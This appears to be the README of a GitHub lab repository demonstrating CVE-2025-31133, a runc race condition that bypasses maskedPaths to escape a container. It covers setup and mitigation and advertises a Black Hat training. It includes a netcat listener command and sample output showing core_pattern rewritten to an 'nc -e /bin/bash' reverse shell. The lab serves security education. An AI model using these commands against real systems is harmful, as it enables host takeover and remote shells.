Learn-about-cve-2025-31133-poc

Overview

A proof-of-concept demonstration and learning environment for CVE-2025-31133, a security vulnerability in runc that allows bypassing maskedPaths protection through a race condition. maskedPaths are designed to prevent containers from accessing sensitive host filesystem paths.

https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910

👉 This repo is a practical example of the exact research mindset and techniques taught in the Black Hat training:

If you find this interesting, this is just the tip of the iceberg.

Offensive Container Security: A Masterclass in Breaking the Boundaries

📅 Black Hat USA 2026 Training Dates:

August 1–2

https://blackhat.com/us-26/training/schedule/index.html#offensive-container-security-a-masterclass-in-breaking-the-boundaries-50910

August 3–4

https://blackhat.com/us-26/training/schedule/index.html#offensive-container-security-a-masterclass-in-breaking-the-boundaries-509101770251750

Vulnerability Details

• CVE ID: CVE-2025-31133
• Component: runc (container runtime)
• Attack Vector: Race condition in maskedPaths handling
• Impact: Container escape

How It Works

The exploit leverages a race condition where:

1. A container is configured with maskedPaths to protect sensitive files (e.g., /proc/sys/kernel/core_pattern)
2. During container initialization, a race condition occurs between:
   • The deletion of a device node (/dev/null) in the container rootfs
   • The recreation of that device node
3. This timing window allows the masked path protection to be bypassed
4. An attacker can write to protected files that should be masked

⚠️ Disclaimer

This repository is for educational purposes only.

• Use only in isolated, controlled environments
• Do not use against systems you do not own or have explicit permission to test
• The author is not responsible for any misuse of this code
• This exploit can cause system instability or data loss

Prerequisites

• Linux system (Ubuntu recommended)
• Root/sudo access
• Internet connection
• Basic understanding of container runtimes and security

Setup

1. Clone or Download This Repository

git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git
cd Learn-about-cve-2025-31133-poc

2. Run the Lab Setup Script

The lab-setup.sh script will:

• Install dependencies
• Set a vulnerable runc v1.2.0

chmod +x lab-setup.sh
./lab-setup.sh

3. Verify Setup

Check that the vulnerable runc version is installed:

runc --version

You should see version 1.2.0 or similar.

Running the Exploit

Basic Usage

1. Start a listener on your attacker machine to receive the reverse shell:

nc -lnvp <PORT>

2. Run the exploit script:

chmod +x cve-2025-31133-exploit.sh
./cve-2025-31133-exploit.sh

3. Provide the required information when prompted:
   • Attacker IP address
   • Attacker port (where your listener is running)

Expected Output

On success, you should see:

[*] Compiling race condition exploit binary...
[*] Starting exploit attempts...
[*] Target: /proc/sys/kernel/core_pattern
[*] Backing up /proc/sys/kernel/core_pattern...
[*] Backup created at /tmp/core_pattern.bak
[*] Current content of target:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E

====================================================
[*] Testing delay: 5 microseconds
====================================================
X..
[+] ========================================
[+] SUCCESS! Exploit succeeded.
[+] ========================================
[+] Original content:
|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
------------------------------------------------
[+] Modified content:
|/bin/nc.traditional <ip-address> <port> -e /bin/bash
------------------------------------------------
./exploit.sh: line 148:  7068 Segmentation fault      (core dumped) sleep 5
[*] Restoring original content...
[*] Restoration complete.

A reverse shell connection should be established to your listener.

Mitigation

To protect against this vulnerability:

1. Update runc to a patched version (v1.2.1 or later)
2. Keep container runtimes updated regularly
3. Use least-privilege principles - run containers in a non-root user namespace

References

• mailing archive
• vuln poc GitHub Repository

Notes

• The exploit may require multiple attempts to succeed due to the race condition nature
• Success rate depends on system load and timing
• The script automatically restores the original core_pattern after successful exploitation
• Cleanup is handled automatically via trap handlers

License

This project is provided for educational purposes. Use responsibly and ethically.

Remember: Always use security research tools responsibly and only in environments you own or have explicit permission to test.